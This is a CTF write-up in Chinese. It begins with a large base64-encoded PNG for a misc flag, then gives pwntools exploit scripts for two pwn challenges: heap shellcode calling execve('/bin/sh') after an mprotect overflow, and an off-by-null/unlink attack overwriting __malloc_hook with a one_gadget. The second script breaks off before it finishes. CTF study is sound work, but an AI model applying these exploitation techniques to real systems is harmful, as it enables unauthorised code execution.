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

最后面的等号被转义了,应该是两个等号,直接 base64 转图片即可

1629872897868.png

Flag: flag{57dd74fb21bb1aee50f19421bf836f23}

pwn

pwn3 JigSaw’sCage

1629873011381.png

存在溢出,改 v2 的值,触发 mprotect,使得 heap 区域可执行。

1629873047757.png

因为有 text 功能,可以执行堆块里的指令,然后就是写汇编布置参数调用 execve(“/bin/sh”) 来拿 shell

1629873070943.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
context.log_level = 'debug'
context.arch='amd64'
binary = './JigSAW'
main_arena = 0x1beb80
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local =1
if local == 1:
io=process(binary)
else:
io=remote('47.104.71.220',10273)
#elf=ELF(binary)
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ru('Name:')
sl('a')
ru('Make your Choice:')
sl('1229782937960972288')
'''
puts("Make Your Choice:");
puts("1.Add Space");
puts("2.Edit Space");
puts("3.Delete Space");
puts("4.Test Space");
puts("5.Show Space");
return puts("6.Exit");
'''
def add(index):
ru('6.Exit')
sl('1')
ru("Index? : ")
sl(str(index))

def edit(index,content):
ru('6.Exit')
sl('2')
ru("Index? : ")
sl(str(index))
ru("iNput:")
s(content)

def free(index):
ru('6.Exit')
sl('3')
ru("Index? : ")
sl(str(index))

def show(index):
ru('6.Exit')
sl('5')
ru("Index? : ")
sl(str(index))

def test(index):
ru('6.Exit')
sl('4')
ru("Index? : ")
sl(str(index))

add(0)
add(1)
add(2)
add(3)
edit(0,b'/bin/sh\0')
edit(1,asm('sub rdx,0x20;mov r13,rdx')+asm('leave;ret'))
edit(2,asm('xor edx, edx;mov rax,0x3b;mov rdi,r13;')+asm('syscall'))#xor esi, esi
gdb.attach(io)

test(1)
test(2)
io.interactive()

Flag: flag{58591d4d-068f-47ed-9305-a65762917b06}

pwn5PassWordBox_FreeVersion

1629873382071.png

2.27 版本的 offbynull,有一字长的加密,一开始没想到直接填充\X00 就可以 leak 加密的密钥,无脑爆破,写了个小程序,把密钥爆出来了。贴个源码。

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
#include <stdlib.h>
#include <time.h>
unsigned int passwd[2];
int main(){
int i;
srand( (unsigned)time( NULL ) );
for ( i = 1; i >= 0; --i )
passwd[i] = rand() % 0xffffffff;
puts(passwd);

}//gcc a.c -o a

然后就是常规操作,unlink 后,达到任意地址读写,改 malloc hook 为 one gadget,申请堆块触发 one gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/env python3
#coding=utf-8
from pwn import*
#context.log_level = 'debug'
context.arch='amd64'
binary = './pwdFree'
main_arena = 0x3ebc40
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 0
if local == 1:
io=process(binary)

else:
io=remote('47.104.71.220',38562)
p = process('./a')
elf=ELF(binary)
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
one_gadget = [0x4f3d5,0x4f432,0x10a41c]
num = u64(p.recvline()[:-1])
su('num',num)
def add(index,len_,content):
ru("Input Your Choice:")
sl('1')
ru("Input The ID You Want Save:")
sl(str(index))
ru("Length Of Your Pwd:")
sl(str(len_))
ru("Your Pwd:")
sl(content)

def edit(index,content):
ru("Input Your Choice:")
sl('2')
sl(str(index))
sl(content)

def show(index):
ru("Input Your Choice:")
sl('3')
ru("Which PwdBox You Want Check:")
sl(str(index))

def free(index):
ru("Input Your Choice:")
sl('4')
ru("Idx you want 2 Delete:")
sl(str(index))
add(1,0xf0,b'a'*0xf0)
add(2,0xf0,b'a'*0xf0)
add(3,0xf0,b'a'*0xf0)
for i in range(7):
add(i+4,0xf0,b'a'*0xf0)

for i in range(7):
free(9-i)

free(0)

for i in range(7):
add(i+4,0xf0,b'a'*0xf0)

free(2)
free(1)

add(2,0xf8,b'a'*0xf0+p64(0x200^num)+b'a')#2
add(3,0xf0,b'a'*0xf0)#3

for i in range(7):
free(i+3)
free(0)

free(2)
for i in range(7):
add(i+4,0xf0,b'a'*0xf0)
add(1,0xf0,b'a'*0xf0)
show(1)#2
ru('Pwd is: ')
libc_base = (u64(r(8))^num)-main_arena-96
su("libc_base",libc_base)
realloc = libc_base + libc.symbols['__libc_realloc']
malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + one_gadget[2]

su('malloc_hook',malloc_hook)
add(3,0x100,b'a'*0x100)
free(9)
edit(1,p64(malloc_hook))
ru("Input Your Choice:")
sl('1')
add(11,0x100,b'a'*0x100)
add(12,0x100,p64(one_gadget^num))
ru("Input Your Choice:")
sl('1')

ru("Input The ID You Want Save:")
